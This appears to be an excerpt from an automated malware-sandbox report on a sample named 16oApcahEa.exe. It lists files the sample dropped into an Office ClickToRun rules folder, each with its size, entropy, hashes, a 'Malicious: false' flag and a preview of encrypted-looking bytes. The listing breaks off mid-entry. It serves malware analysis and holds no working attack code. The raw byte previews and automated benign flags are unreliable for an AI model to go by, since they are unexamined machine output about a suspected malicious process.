Preview:	<?xml.....&]4S...T.?.....7..K.5......g.Q..Q..0...<>n.....Y?..x..Hge....m.A.JB8..N..)...z.J..q..T....o...k...4}e"$.../m.i.xpM..m.MR.@y...Y..\|....1.kZ1...M.......o..H....3.uaNI....:.\u..c.G...N.5.......T..{.....bt).Jc.?.I.mC.....C.{..\.!..Yy`....Q.jt....l..T...-.(.`..s...O..d.2.M.......\.B..\|....+.W........k......6.M.?&....}.-g.G.......A.._.e..JJ..8.D.V.#.*ug[4bR..&...CdtK...+H..._.rQp&..QYM]#..z=........<S...:g6.b....l..2'Y....\|....m.....r5.[;Xv.J8.%..s.j`,.\i.I'K....b...n....Q...z%...9'.oHh{P%....h....Xv..b...pk...}...3..R.J..&N.O../...Y..u..mc....@#..H.a.#Y.u.].....i[..e..._..Y.......A.A....8o.Zb?dO...rU!"%.....w`..U.5DzL....?.0.^.%53b..:....s..K.6....F_..O...0R.w...\|....V.......yX...`..h.g2.cu.j.{.A9`....... .G...T..}..@...?...X4..yd...?.6!A2."....x...w.X!.\|.V...-N'W.2..`H.gwG.X..X$mY.u.w1?Pd2..'.#...Cd..o.....@.\.....`_...!..4J.M.cvAw.P.^..i...(u...,pe6.......6..R....`.z..T.)`...T..#!.4.K;<6..Xq..Om..^.eg.L...<....rJ]...no..$g........s.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule12035v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2801
Entropy (8bit):	7.925668553047553
Encrypted:	false
SSDEEP:	48:92Hb4+AcgW/yiuLG0D68KYzgUHyuovI5MDgdojdEqE4SqWOlQAfDJD:90b4R+uLjm8vY1DgGefofV
MD5:	6E9E34A5C4C828FDA7AF4770424292F9
SHA1:	B50D7109962B4FA641F2135A0291A2EDC9A77910
SHA-256:	73126B1C8A7A27705409A7C17CFDC5740BC0AE75C68F60BF5AC31F59C9AD6497
SHA-512:	14AD85C0B5AA8A0908FF9CB9DF3B5044568C09E67602883544B5AD3FCD32BB0090C4AD78FBC5DDEF756990272A530E8ABF73953691A13E47637E4B083B7BC7A3
Malicious:	false
Preview:	<?xml....{f;...}..X<hO.y..5E.W.v.h....e...j.H.>D..6...c...OdG....0X.t.....[1.....[V5#!:w..#......t....Hlq..A.-... .L.pL.<G.P.....N.C..Tfm.4AL_b6..Zu.d#Tl8!....._...ny..d..%.8..XM.1......<P..FB.....c.,=..g"t=.y..Q....h.xGi.....#.pAO.@..!...\k......]..t....Z.B.S.......4..c.6.f.Z[y.IH@`6S....Rm.(........G.1.:....[P.Y.Ax.9.....Q.fD..E....t.'.i......>V....tJ.....0...u.. .~...M.r..c(....A.3h.b.;...[wN.I... .{.H;.].=.-u..o.V.......?f......'$.....c9t..dT&f...0.../.......W.......K.9.D..BM.5..\.?.....p..3(......0P..f69r.%......m.r.v...d...t.^O..........V.X)K.W...........E...%.d1.2........ }......^..S......F;.o}...{.X\.B../.........g.Bq....H=.Z..`.8..!f.5............H.7.u1FK.....7.C.......?.<.?Q*..t...h.X<....m.007.>..L...k......V.v.]........0I.gJ....c9;z..,..:.........w..7..f.BaK.B5!.U.-#e..T..0..;%.iu...V....9.2.M.I...j>.{...DW.P.....V......0,......uG...._f.#.G..y.......R\I..T.q..k...!.....N.Bh.qJ..T..S..8.x.D.....<;..k.f5...Y...... >C....\..&f.V.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120402v21.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	4122
Entropy (8bit):	7.952936989336655
Encrypted:	false
SSDEEP:	96:M8N++n/seFMBxIfvuIOrYfPIBQd+AWnKmOUt2zEIwoTF:T++nEzBkvuIzfPI8+/xxYKMF
MD5:	C4BFC6A8444B2EDB197B5E0618FF676D
SHA1:	92077143DD12E4B05CFA75B1D01DD0FC92F335AA
SHA-256:	6A9410AB5164891FAD04E44A012CBF299B8CEBD6BBDF81FDB2C74A5B64FC3800
SHA-512:	80DD402FA5C7E8E6A9936C875BA316AE8493B7BBC8C109F6C7795DFB4C07D210A88AA6511CE07CA43C68CEF6BB7941EF8C725896E6CD0D0AB231ABB328CAF4E7
Malicious:	false
Preview:	.<?.a.T.%c'...>."......3......2..F..>0tx.6%##..x.<.v.`..cE..^+..........W.=.....y.....S..!....l^...>^.R......7..b...ZB...P1)...tTY.w..9k.".[...B..b....8...F.#..z..w..RlG8m...%...dI...@..../C.{d=$.;.;.w@<y....#...pr.s...Y.I.j.f.. ..y..H..w..O..F..t.)D....1.6x.;#V.V...7.?y.#.........2C...J"P.....]...J.:......E.v.(..\|.\;..K..}l...\|.h.....yL....m+...;..8[.zT.H`...../E..7..q.&qw{.j..;]. ..g...0.d.:....1.7zt(......<.\|.A...n..j...........6.Qz8&U`..3........_.P..c.b...t!..w........tV.>..m+b..b7..6.Zg..@...Bp.S..40.P.UI...Z..Z1q5v:.JuX{..<>...]cd?..y1.M..b."n...._._.{..B=yc..(".*..]Y=...5G:.+....s...Q<...L..v..X..e.....L.7U..PW,^...u...[....2...u....@bk&....2;9...6.IL...WJ.e.=.J.@9j5...v.X..^.=.~#=..<..N.VO.?....gD..%..)..DA.n......[...:.;O.{[.l.u....d..:3....i^...C..\|.l1...W+J..vW...B....6..Z..E..TlQk........x.t.....B...K.+S....h...9s....O.9....i.i.L...2r?..?c.R.`...;]...-@..IX.&."...[.F8,.v...n..T..i-.R.p.BpE.$.!+.C...........4....e.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120600v4.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3314
Entropy (8bit):	7.937968388897485
Encrypted:	false
SSDEEP:	96:JS9PqTaqCNgOZR1RWioreAAU9uh4wrc2N:JS4TUOSEiotAIu6aN
MD5:	AEC9640D60DA1724AB439F6108809988
SHA1:	CBFF6F15E3704E18B88EAB225CBD23700CFAABAB
SHA-256:	E35F9E96CEC24D84DAAB6DAFC51EA3C07770B0160D70C48653CB64B00BB82B7E
SHA-512:	44919D31E25A2EFFBD588E866EDCA64CB2ADA355C46E129377B51D3258527647925986CB65852A9D2536A17F171F3CA2A9A32A5AFF8D1A8BA210B6AA2F80CDE8
Malicious:	false
Preview:	.<?...U.a.GBc..G.8.[.'d....:.....r........&.FS+Q..<..cA.~....#..1.~.;.;.S4s.I.(.#...._g%.mBx...K.T\|M..aS5.7.3..9..Pte.._..)wc.R.z:.Q#..4......v..%]..@5.xZG.=....<iN.....6..\|A.w.._...H..kM0..........E.1.3...m.....h...Z...!^`.&K..!.....eB.Nm..."..\|'...f.Z.l...d.z.27Z.2{...f,#...Cpd3h>v...'..H..{..@0rv.aUF.F.Sf...}.D.}.)..#ao5...a8.y....W...-Cv..y.)a}X.....>..6,{..e./..X.5N.Y....4..........v".6..k...u[...y....3c..A.N_0.....m..O/..#.R..YV...3Y.)5d.\....O...E5.t}[>J.m.<...?...?@...B.@..:?.e"...22..T......-.W..l.s.m..QK..^8.h.N..$.5.\|c.d..`.4.<Z........4"..7?.a..m.0GN0F..............;.l......t6=@...w..:.9X.B..0-..@K<dc..>..g.8...%...(..T.m...#. ..j\|=[..$..t.l...:...K..\.........J.#...P....Mmc....2"-}E.i.y\..."..{N.t..*....!t..../0k'.4+.u...2.?...<....$....`/-.2pO.vT......_L.....2L..4..l}.#..ak...)...SZ--W;.@.n!...4N.=.[...A.E.Y>..?n...tab..S.b+..P...H...]z2...6^.WlQ9.Y.M.jX..X.9Wg.,...$.\|....u....#Q(-....9d..^.2.G...Mz.u.^....}...`.%.B.3.eS.p.s.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120601v3.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3676
Entropy (8bit):	7.9542830551198715
Encrypted:	false
SSDEEP:	96:4bzrVLENdXlrqR5jqRXknAtn9q5C/MNWaEJRT:4bx7q+09d/M0FRT
MD5:	6550120659EE44DC4CBAB0F8E538C3A4
SHA1:	8AFE4033A40C712B89DAB18C7DEAAD52C84029FB
SHA-256:	371F4E192A5BC625B7FBC1C34F1A679B1DF53ABB166CDC747840CDB5C0C41129
SHA-512:	521106609DE1CA36B5CEE1AFB2B0344C29E2A4B99766E3656629B5664DCEC61A94C18DC49374B09FCDB772E198C9FBE3137AA8AF85EE80CFCC8BDBFECEED0E2B
Malicious:	false
Preview:	.<?].\.....R.......v;s.ONW.......5.\...I..X.Aa.7.H..Z.3k...V;.F..\|b.].7..d.-.f%/.!]...4h...........&....!....4@.`@e..q'..$p,..r.:}.az70@....nae.k.gd..)..O.-.Lu.U}.b....,@.5...b.l.i...?.@..v.........].?...B.Pa..6. ..z..;$m.\|O....NT.bi..X..=Zc.\J.?.X...<....R....?.'.Dx(.\|b......P.E....`..}`.?..K#.o.,.X7^..4..."..0].v..c. .-...I...vU..#.`._}......~..A.....0...+..`..<..Tn.X..}.0..,...!...Q...,ul...!3....Jc.m.]..)..{M.....#.<..$#6=1..B..X<6s9r3.GRP....9.a.4I.jpUwz......u......a.33.x....;l.m./...I.2.+...K.;XM........b/.Ef..6.?...Or.......W.....Z.@.M(.T....?...7<......A.~...5..b.._.....+.j.&Y.3Y_0D..=..<.....%^`Gt...s#3.e....T..!.c(...t.Cp...(..l....^..X#`.h..CO...!m......pi.6....jn.. ......>~h$.6...7.98."..`{.6.....].\e...o`...Y...J.,j-ix....Xh......G..z.:..g.....=..O...k.%....J.xv.2.s+...>....I.YD...H.]i>....^.....Z.7$.....O~.).w{&xg.e.Z...c.}Z.;.DL....u}m.......3.v.s5..7{"9...C.(.g$..)n.._...~P\..ly^:f`.N.,7....!..w6.LD..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120602v8.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2925
Entropy (8bit):	7.923407957552455
Encrypted:	false
SSDEEP:	48:bruC1ou8j6WnLKuP3N5RkLfxX5QoGfrYZv3XtWOB6YWp4PaA387kBZU0WxzgIJD:brL82WLFdCJuNudWLl4P8cZMP
MD5:	F931DAE86896C11D97B17D0C036138F7
SHA1:	1B712F9ECBD927ECF241A68C784624E0B2CA5313
SHA-256:	C85FDA40A43ACF7F4B8F64CDB6FBDCE9F1112004FBD80E8E5061918BCBCAA919
SHA-512:	138940D6D36CD96DC87293A59C88BDDA83103D6325000C81D18C085F2E25015D93613075B12C7E5DF62A9147A1F76B3090FB16A6F4CB0FE77003756C7A8A14DD
Malicious:	false
Preview:	.<?....(...\.[.F..a....b.d...._.h}.Z..`y.........7P..@.O......q.'....X..%..B_.b..#.U...f...X..s..1....W......?..C?...E...zK.......Mm..p.4..o...Uo....~q.+........:./..IUW...a.1..j....!.F.'.x...2..O...........L.#.I.fO.A.......\....c.;..A..j.......^...r.0}Y`.Z...U%...Q.B....Z..D.G.\|..4v.e.mI7...... .Y...K.\|....(.r......bBSy'../.....6R...U..N..........L.5.<.....U.W..3...>..f.....?+[....MoX0....L.3Z....@....\I..=.]..s..8.m........._.';NB..Fk..2,..@..3...T...e........0.@.. ...}?..i..5..P.(...~O.(..\|.v...M..jT.... ...C.i.Q...f.O..U.Y..@.....t.t..;...n...C...W2%L(//XH.c...:.r...0T....I.y3{F...S.n..U.`...q. (....<...rr.P.52F]#.......RT......,p.=.%-.].....1...G=..i.c".Kp......)5.Ile2.oI.^..=I.a.x...~e.0.V.Q.(.7.m..8.....o....d.7...B....G?b.}!ME..ei.0.D.c.?..[P^.....c.`..[.../..pe....4xH........F....e...H..+..IS..`0...OL.7.n..$P...F..C...s.L...\Y...l../'.......W.}..Wn.d.V..M..^.j6..dk!..t...G5.pz.0...-.4QVQ.1.....=..Q.1j...H.".Eg

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120603v8.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2462
Entropy (8bit):	7.92812145993724
Encrypted:	false
SSDEEP:	48:z+yFcwCP1FdwhxMWBt9knzZqpBcTjwniEr83Eu8wSL3FCHsLTkwPRTJD:6yc7dwhxMGt9OqDcTjZJ3Z6EM/1l
MD5:	16467C05A07A3E5254B8FADDC251F843
SHA1:	746E01ABC657F1D341AEBB7D1100587C5C5EF6A2
SHA-256:	050BA3339747930016341F20D72E653D82906437836228A1E15559B0D872D0FE
SHA-512:	CE58C5605C26813F5F5AE5BABCA7A3B326CB4BBE2642EF3C8686A86F1DF39A22BC9299829EC6CA4D9BAE79FCDBC3200C8DDCF0702D0E44FEECFAB93B7E4B6CD9
Malicious:	false
Preview:	.<?...q.k.BsTZ\|4G0./.\|.S.O......)...'..x...9.^.....d..h.T_.y.......x............y.x.....I.SCc..m>.......+....."2T.........5..i.:..Cq.{..u3.6.V.LHv..=..?QT.......+"...ShP...(....Q...,V..L.t..N..qJ..'..\|0q..7f..-..f...a%...#p.5s.....r..'.....X.B.....+.9.......z.J..Z?..^.Ui.p.Ua$....[A....s... ...g{)6d..&...{T..1.1IbE..~..(..d.D.\..U7..k.T...l.a...N}./@.v.u0..#...S..w+.4.....o..d].....\|.w.z.@U.c....<a../..%)..o......7..{0....#.P..).m7Q...?.........u...UT.....e....#.!..k.O..S..n...:.{.Fj..t5'...0M.-C...!...g....Q..bE..TTL~.c.(3>A...0.a.G..,....w..Wa..].J......l.T.[....lN.3.....C."0....i...&.H+..N..S. T.c...ep.....X..}.Ma..L.n...Ek..;a[.O.....xF..A..p..p{..wu......y(..Tg.............YA....H..q..."..-.L_e.....A+....m....OF...J=k.Z.`g.......q$.}.....Bo........f.FF~.&..........f.I7.h"..-:.J:'...?\...I....T..^..~Y#..^8......*._hz.7..T.$.....F....t..Jk.~x...En....'...C!........S.......f.....0Cd.,"...\.#...c.}.. .I..I.yG...pW..l1M......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120607v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	538
Entropy (8bit):	7.522148891253336
Encrypted:	false
SSDEEP:	12:dO4DXvF2Kh05cdAMI4XKn/fJbeNmNU4lUMUU6X1f2lm9M2cii9a:7ThmcHI4an/f5oml2U2f2lm9pbD
MD5:	C3A7CDC5D8A1D6223CD5A658C4C88B6B
SHA1:	F32CE6E08E6A2C3D67410D10D7A5D6614CB535A5
SHA-256:	16B37FEBC951E7139B17F3E94FF1955F6C63D750EE1F1C270C2AF00469D03F2C
SHA-512:	75F6EDCAE444AD979F62BA87FB9F3EAC8E4CC8EB7921B71257970FD873462FD7DD8C8F68F2F487A74BC673F258703906317FD2CCAB1A5264E54E5F773575F37E
Malicious:	false
Preview:	.<?m.Ey..w m.o?N..]$...7hL....\O..._......s.Gl.XJ..od.^...y.......T.J.T....1..38U.q...p$Q.cD.h.4L.n..B.w.o.\|k..^....E..f..3c...%.^..{......\p6...\|{r.Nl..f.X.K..G..M,..S...3.%r.n5;N.o....w./.(...&.'...~...k#.......AS8.={..a...L.........b..p=.......x.v._7.0.-j....;.9.N.4.m..o$r$.....8....a.%=.............P....LQQP[HQ.m}..(....\....P.Z..v?.{U5.....B#...b.Fc.H.eB~W......%_F.....P..e.FPH......Ux...G*fB..D.3....U.gHd.M.f.....>..gxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120608v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2494
Entropy (8bit):	7.922129860738491
Encrypted:	false
SSDEEP:	48:VT8FtSJCaTcOXR9M+tDy3dPdODVCjy+IRtmAvGxofEmeGKA/30kXRJD:qACaT3MldP4CjqRtmmSolbZT
MD5:	85CC24D7937A977F61C7E3140F4D73B7
SHA1:	14B8518224D9CB4FEF03995568F451B5EC9BCEF1
SHA-256:	D0850840489E59E4B2D06A8E69BE70E1BC6BCC34B467C743D8BBCADC6F6859C6
SHA-512:	694F74249988C0308CFC3E9C35F0D5FBE47EE20AAB8DCA7F46C5D2EB03B199031ED3994385C2DC64ED357E4917D606479DAC7D70D28D69D32E02E193FB0135C5
Malicious:	false
Preview:	.<?.o2.K.Ln.Y.0b.5..635 7$..A...[.._...F:(.{...'..!u.L8..b.n.K..i.A.....e..I.G7.....-[R..`...x.Kc.Vi.,O...,pJ...........7..(....B<."...6.....R.s....\...g.]..q..x.[M..AA.uI.3w#J..&OC.n..1.@.=.......l.~.j...e.6.KL..Z...+..^.U7.g..F`.a~.T6)...C...'Q..y+.D/$.....&= ...!+.....T.nK..d.[N4/....JI..sZ..z..'...._;...w6..F."..,Y.....A.0../...7.....W..;...t.a.}.R.n.p..t6..!.H.F#.k.......z..d_.~h....M..~..I...\.I.id.w9sj."?....=.......''.....[.8t...1...b.a{h.X..=<.6........h..P.6.W..EB".:9.m..u.Y^.....4B.L...41..]xHQ..Q.:..(..Q..V.N..&(ef....B..f..9.........)...pT.m...._.=...BE.Q..nsX.wd....I.....f.....%.i.........r..4.....~..vS..IO.t.[.4....5iZ.i...fH.&.y.X@.- ....._i.88{...-.......N~.R."42L./.,Rw1..bTiu..1p$...(..E..#tL..J~w?(U.~.$f....BF./^b....y.5..... N.....j$...9.6.^V..}<........!.....H.. :.JGA.....&J..h.b.d....X.o.....jpi.X$.9'D6..../.z...b.P.......k...d.z...{6:6../.n ..b..i@.......;.,M......Z........A..._.f.p..=.b1...:bm..-. U

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120609v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	742
Entropy (8bit):	7.721190661197703
Encrypted:	false
SSDEEP:	12:ztbMYxW0jM1uSTwAne6adWJf2t5SiJ/Zlx5yA6Y8q7YuzSQTWdn0nb9eHwL5wy38:ztjjM/TwC7t2tTSK8q7Y0ydnw92ac9pX
MD5:	F04BD9826182EF002C65BC7E7BA01AE6
SHA1:	31F6FC91FD8FEB2C09F898E7C85570640687FF38
SHA-256:	040BBDD80DE6F1C4CB7C6F2014863237DF2E6711B0EA553EFC6D04AC2AE6A6A5
SHA-512:	EDEB2EA9F456423AEDA40E6A32D4631559FBCC5D1E1B1E96C38D6C8D06481AA88CA91B9634E13DF6123B5C0CC8E8872E16DCC0C9E3334C4988B648DFE03D7E78
Malicious:	false
Preview:	.<?.L..WT..].~.v..`....O......J..OU....z..,..GTo/.....&%t....".A.........~.k...H........DZ{...5uj..m\|.O2.i.tk.....e..C....i...0...l..6.;.....b8...^L0..[2sj?..]+.Pup..pA.........U=..;.a.\|.5+..~^...U..T...R..R.....V0)..._..".......@.w..1.t.)-.,@!......!...e1G..s4$.g..(...Y+....7~YU~...Rl....:.P{..3..I.G#..X......o.?...}1._j...o..U......WI9q.....).....;t...xW=..C.=...y..`..\|e.9A....J.1.\.......n.'$.P.k..1 .6..Y.p...G..M..6.,6?B..Q..dR'.2...{......y.\..e.}..x.e...#..GPZ...r......,.......)&.NY.Z.)...........~/..e...............?..0.K4.qo(.t....7.a...}"...$h..9..........)~N:..l.....M.}.."b.Y.'.....HZk...b./.yk.}..o.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120610v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.770857448665587
Encrypted:	false
SSDEEP:	24:cU1M9IfBcZldU1cqy+jdDuKHxjfbWYN9pbD:c6M+BcZldU1cr+hqEx7bWYHJD
MD5:	460ED26ADB34692205784B3CBCAFBB02
SHA1:	6495E3F0004167F93050F10D20EDFF4661EB3A3F
SHA-256:	6636C00BA9FDC6CEEE45ADB041ACC5EF4FBC43AC5EBD7981476F0854C4E4195C
SHA-512:	B32DFE020DDDAB9F8E40CEE0E31A6F728B8E81479ABDA228289CE4F92A90AD7A2DCA7D923C144E87B57D54647B1A70D9239293860304CE11B1D03461685684F0
Malicious:	false
Preview:	.<?.Y...a&..\|.o. E{....V.^..X_...'./a%9 y.F.Z_.Z.9...y.7..G.{m...}~?.....D4R....L..\|...kI.L....4.3..,..1..........1S...O.m.......3..D..k...E..^......[...E.O.p...&.!j<.<K....".....An.h.1..v.5..%$K...N.E.W..C..Nc..%."....G}T.]u....C.X.?i..Lb......3#{...................A.g.w.....`LN.^......R..e.R.Y...P\.qg......u. 2...'..W.\|<UM....?.}..B..3..y(R\|!.M...)<......q.....nS...G.u..j'..p....c..U.%...W......d.M."....(.w.].]....,....e.(..8I..C.=.aN...`m.:\..K...k.......~......'/.E<.(N.p{....&..f.TB#-.........86,...zh...Yc~n.!\|CQ....bF.....$..`4.._..e(=Fd_.-.)..1 2]nj.......Mk.....Poe+x..N......!...:.....GBD0$.#.A..dY.2Q...\.{.....;v..I..S..v..H..J../.;.........S.........GtSs...I..Q.....KxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120611v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.7086822889453295
Encrypted:	false
SSDEEP:	12:7wOBD9vdbLE1miNxeMliKB0x2mmqTOluiBbH5TgBDM3NCE3Xsxsvnd+GSxk5zplZ:7wKBRGmuj9B0x3mqCljVTg2DCsvU4zrZ
MD5:	60949D7347D2894D552070C87E752566
SHA1:	241F85054B29F14D5612ABF57F217D8E7FF8DB39
SHA-256:	51883620657880636DA8302941184B05083C21C1DAD6004381FC36B7A3BD3B96
SHA-512:	FD8E4ADB1AA7695A78BE6E71005F9AD54DC8ADF589F22B280CBCB71B18B6814DF28629174D6E05F8D2D773D80F68E5C823A4F5CF0AEEBC83B760AB0D470FA49A
Malicious:	false
Preview:	.<?.....<..._wD.j.?..Cy+E...6d..-2.@.[..4......[.2...../...s8S...%........n...P..;c......s.8............`.m..........r:.........U.i.@.$....?y?.s.* (N..P....LvA.....M.@....M..#.......y.../.......3:...`..~py..'Z..Qt..8...G..M..V...:.ay.>.M~~Y.f..:.t?&.N......Yab..J'x....k.J.h_=.H..XqO .....%.!.L6b&.........}. ..4.o....>.=..+...-d.r...V...L^-.._PI..c.........Or....5.i..(.......0.........._.E698.E...}..eM...@.+H....N.DfJ..m...9.5....wZ...kZ.6.mT..n@....E..B....[.8cJ.G\|+....L.\).Ee?'....T."gmc...Zau.2...7..^"w......o.....;...c....-8F..S..H\|*.....dS......].9..X.`p...e.....YO...%iuR....]...sg7@.)J...I0..z.`...\|>.`..I..+xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120612v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.6872647200755715
Encrypted:	false
SSDEEP:	12:eA8A/yqOWzci7DKai2dHY5qtFRZfxR8LpVLDmtlhSDWSo/gs9M2cii9a:7/TOSt6e3txfx6LpVLDw5Shs9pbD
MD5:	4B4094613FE6E1EB06A14F8FCB10B3CE
SHA1:	179F628EAC5731412771A67A36BBA3993C44BE20
SHA-256:	09CC1E94C7CCC426CF83AB0775412AFEA17FE05BFA2F092954BDFE237522ED4A
SHA-512:	0F396C53B78695B9C8A64D93B93B9CCB02D8ADE31A86D850127B545CDBF8AB0E0019BA29517E2713F5D20A1291995B94FCEC14C7F944304E88D99E21BB52D125
Malicious:	false
Preview:	.<?...mn.8.!....opf..s/F..<....._d.....miW...:.8}5.X..b..Q....%...UK._n.......... ..}6...+...^..1...N.....B?.....hC.....w.+........0....i..p...X.q..4..?7..]..0.\|.L.vb.R.Q..J. EF...K.`...P.....1..`..l0...4T...V./2..#J.t?.CD.(...QRR.>.0..K.SN..l.;.y.j._.......nw..i[..Z.......s.'../....@/....#.Z...<.h...<_.q.6..?.b........n}.=.p.!..'(w.Q..M...oD...%F.PA.1..u:Fq....??....@..7<......(y.eOd.. .E....W.h..V>../.z$.....f.t!...p..i..M...A.. .........3...a..\| Q.....>...S....Dy..at..O.....&.>ZM.>4..].x/..lK.......Y=...].....y{..\|..J@.T.C.u.6........U....y.$W....1vi.....Sf.A..:.V....+..>.V...'.....]Eh0....~J(.J/8..t:...1..k...vAi/...H.!....p.....9..S...9..g..[ ..@V...r....h.o{.N.vo.0...}.X:CxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120613v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	966
Entropy (8bit):	7.743983858861842
Encrypted:	false
SSDEEP:	24:W6GumuMb1N6EGQn8aaOVvMpIhTI3YpQA1VPZ9pbD:W6Grb1N6ER8MvMpIhSYGMBDJD
MD5:	512B302B8A1B31E54A8446E6C9A5F87F
SHA1:	DBB0F1D44CE13B4E6C0FD1CDA4A76C3FD3323930
SHA-256:	69EC1AEE809ACF94E6D5CAB1A4E8EDF7128C963470CC409D713D71D48BBAE400
SHA-512:	B4A0A2E81624391D11CE203BFC3FF52326F5456909384258EB6850A4D5740C254F52B5904F6244E08CEDA0F87B456A8FF4C2ACAA01562495FD89702D536C7660
Malicious:	false
Preview:	.<?..4.7.AB....X.ZU)~..K..Z......J.x...B..s>_.h....=~l.Olv{Pf'....^<4..%.L...~G1b.7,.....N.V.....%.k}.Y.z......8.k.P.\|./.....-..GH...`.(T'7.jv...j..y.:........;....t...;.s.N........i......c....TT:Md,`:..SEt...-......H..U"].kyP..^.8..qV.G...F....B4.i.^.b.q....o.).w....a....d".%XE%._C..J...u.\,.8....k~..EC.%!..0.yx.>.....d.y...0...r......$...[S..6.{..etE^.,...../%.xv.p.A....J6.....^E>....4_..rCe...<..5)6G....9..I...b...q..T.y.+....Y.OW..?B........o.+.E~.^....q1.....['.~..ia..C....Z.8.+..Y..n.....0...HS6b..\lY.R.....B...,E.....K.E..D.h.h..tB..q.7h.....QH.........+b.E0{4K.>.;.r.G(..d...'..%3G..lz.Cnt.....O7e.y..R<.?....e.l.nz.f...>...Ad........~&....G..h7 t\u.C.t.?.x^..=29.p2..n_..u...n..Yv...{.2...x..:..ce.&.k8x....]....+..@....[ .^......Bej....%.......(C.n.J....X...jX[<..j.~.C.I.XWD)J<~b.R.>&..........\..0...3..`..9....)xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120614v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.740584859769751
Encrypted:	false
SSDEEP:	24:kgHTB1e7az1i69jLWLybYe2bvN6OkA9pbD:kgHTB1e+i4jLmrN6OhJD
MD5:	5D405D9988CA9B1021F81FDC955DFEC1
SHA1:	A03E9570788D158F53C26E95C3BB02A6CE6BF528
SHA-256:	41CFB9EB3A762DC4643C6D7B5FDEC76F5E0C17F7EB3AC18E73DC05939D4359C1
SHA-512:	AE4956CB27292C382C2E934BB009EF27CFDC5F552B2D98602F68F44EE1A6C0BBBD8CCA7BED4FDFBAA57B70800B2CE49B3F5FDC550426DF96CEEC6470F94C8C24
Malicious:	false
Preview:	.<?.....c.U...2..=p4..Y.Bo4....!'I.d.O.O.....^OkN......s..j~.w. .........U.=u..'.....9.)....L..o...Z.8.i......t.....8.6.....8.dBS..U...UZ.k..G.\..]V1'.!...2.....u.0.l.....%R.8..2...I.M.5..rX...%.2.J.2.7.{oPd.K.e......w..i.^;....@..o^.M...#..........TX.R!....#.3~.>..1..A.+...B..e8.B....V....Z.G1.F.>.sM..=.n.ZI60.1.^@"$......o.........DM./.U......x.......q.....k).;$.......C......]....0T..!Lq._.&....r..oR.l...-.(9...6.uR.;,..d..Y6............V2"S.W....Qy...4....T.>k.M[W_...FM......j.m.........1.).......k+H.Qo...$.%.Si.........p....\|O....c...W..Y.....vZ......5.q.......M.....N.... .i5....}.@...{[.n.^.y....F....l..e.e`...C.......>...vVt...-..s....;-.4...BD".....@......;..d..[/."vyJ.I.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120615v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.731712455475902
Encrypted:	false
